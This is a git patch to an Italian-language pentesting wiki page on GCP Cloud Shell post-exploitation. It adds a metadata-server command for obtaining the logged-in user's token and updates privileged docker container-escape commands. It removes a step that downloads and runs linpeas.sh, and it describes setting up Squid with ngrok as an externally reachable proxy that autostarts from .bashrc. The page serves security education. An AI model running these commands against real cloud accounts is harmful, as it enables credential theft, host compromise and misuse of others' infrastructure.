From 7bb4dccb8905e1ebe0265469906f9c09418ecef5 Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 8 Dec 2025 11:37:04 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-cloud/gcp-security/gcp-post-exploitation --- .../gcp-cloud-shell-post-exploitation.md | 64 ++++++++----------- 1 file changed, 26 insertions(+), 38 deletions(-) diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-shell-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-shell-post-exploitation.md index b30c70716..8e36a7d0e 100644 --- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-shell-post-exploitation.md +++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-shell-post-exploitation.md @@ -10,40 +10,40 @@ Per maggiori informazioni su Cloud Shell consulta: ../gcp-services/gcp-cloud-shell-enum.md {{#endref}} -### Container Escape +### Ottiene il token dell'utente dai metadata -Nota che il Google Cloud Shell viene eseguito all'interno di un container, puoi **easily escape to the host** eseguendo: +Accedendo semplicemente al metadata server puoi ottenere un token per accedere come l'utente attualmente connesso: +```bash +wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/" +``` +### Container Escape / Docker use + +> [!WARNING] +> In precedenza il cloud shell girava in un container con accesso al docker socket dell'host. Ora Google ha cambiato l'architettura e il container del cloud shell esegue un "Docker in a container". Quindi, anche se è possibile usare docker dal cloud shell, non potrai effettuare escape verso l'host usando il docker socket. +> Nota che in precedenza il file `docker.sock` si trovava in `/google/host/var/run/docker.sock` ma ora è stato spostato in `/run/docker.sock`.
-Container escape commands +Docker use / Vecchi comandi di container escape ```bash -sudo docker -H unix:///google/host/var/run/docker.sock pull alpine:latest -sudo docker -H unix:///google/host/var/run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest -sudo docker -H unix:///google/host/var/run/docker.sock start escaper -sudo docker -H unix:///google/host/var/run/docker.sock exec -it escaper /bin/sh +sudo docker -H unix:///run/docker.sock pull alpine:latest +sudo docker -H unix:///run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest +sudo docker -H unix:///run/docker.sock start escaper +sudo docker -H unix:///run/docker.sock exec -it escaper /bin/sh ```
-Questo non è considerato una vulnerabilità da google, ma ti dà una visione più ampia di ciò che sta succedendo in quell'ambiente. - -Inoltre, nota che dall'host puoi trovare un service account token: +Inoltre, in passato era possibile trovare un token per un service account usato dalla cloud shell VM nel metadata server:
-Ottieni il service account dai metadata +Vecchio service account dai metadata ```bash wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/" default/ vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/ ``` -
- -Con i seguenti scopes: - -
- -Ottieni service account scopes +Con i seguenti scope: ```bash wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/scopes" @@ -53,19 +53,7 @@ https://www.googleapis.com/auth/monitoring.write ```
-Enumerare i metadata con LinPEAS: -
- -Enumerare i metadata con LinPEAS -```bash -cd /tmp -wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh -sh linpeas.sh -o cloud -``` -
- -Dopo aver usato [https://github.com/carlospolop/bf_my_gcp_permissions](https://github.com/carlospolop/bf_my_gcp_permissions) con il token del Service Account **non è stato rilevato alcun permesso**... ### Usarlo come proxy @@ -79,7 +67,7 @@ sudo apt install -y squid ``` -Solo per informarti, Squid è un server proxy HTTP. Crea un file **squid.conf** con le seguenti impostazioni: +Per informazione, Squid è un server proxy HTTP. Crea un file **squid.conf** con le seguenti impostazioni:
@@ -102,17 +90,17 @@ sudo cp squid.conf /etc/squid ```
-Infine avvia il servizio Squid: +Infine avvia il servizio squid:
-Avvia il servizio Squid +Avvia il servizio squid ```bash sudo service squid start ```
-Usa ngrok per rendere il proxy disponibile dall'esterno: +Usa ngrok per rendere il proxy accessibile dall'esterno:
@@ -122,13 +110,13 @@ Usa ngrok per rendere il proxy disponibile dall'esterno: ```
-Dopo l'esecuzione copia l'url tcp://. Se vuoi eseguire il proxy dal browser si consiglia di rimuovere la parte tcp:// e la porta e inserire la porta nel campo porta delle impostazioni proxy del browser (squid è un http proxy server). +Dopo l'esecuzione, copia l'URL tcp://. Se vuoi usare il proxy da un browser, è consigliato rimuovere la parte tcp:// e la porta e inserire la porta nel campo porta delle impostazioni proxy del browser (squid è un http proxy server). -Per un utilizzo migliore all'avvio, il file .bashrc dovrebbe contenere le seguenti righe: +Per un uso migliore all'avvio, il file .bashrc dovrebbe contenere le seguenti righe:
-Aggiungi a .bashrc per avvio automatico +Aggiungi a .bashrc per l'avvio automatico ```bash sudo apt install -y squid sudo cp squid.conf /etc/squid/ @@ -137,6 +125,6 @@ cd ngrok;./ngrok tcp 3128 ```
-Le istruzioni sono state copiate da [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key). Dai un'occhiata a quella pagina per altre idee folli per eseguire qualsiasi tipo di software (database e persino Windows) in Cloud Shell. +Le istruzioni sono state copiate da [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key). Consulta quella pagina per altre idee folli per eseguire qualsiasi tipo di software (database e perfino Windows) in Cloud Shell. {{#include ../../../banners/hacktricks-training.md}}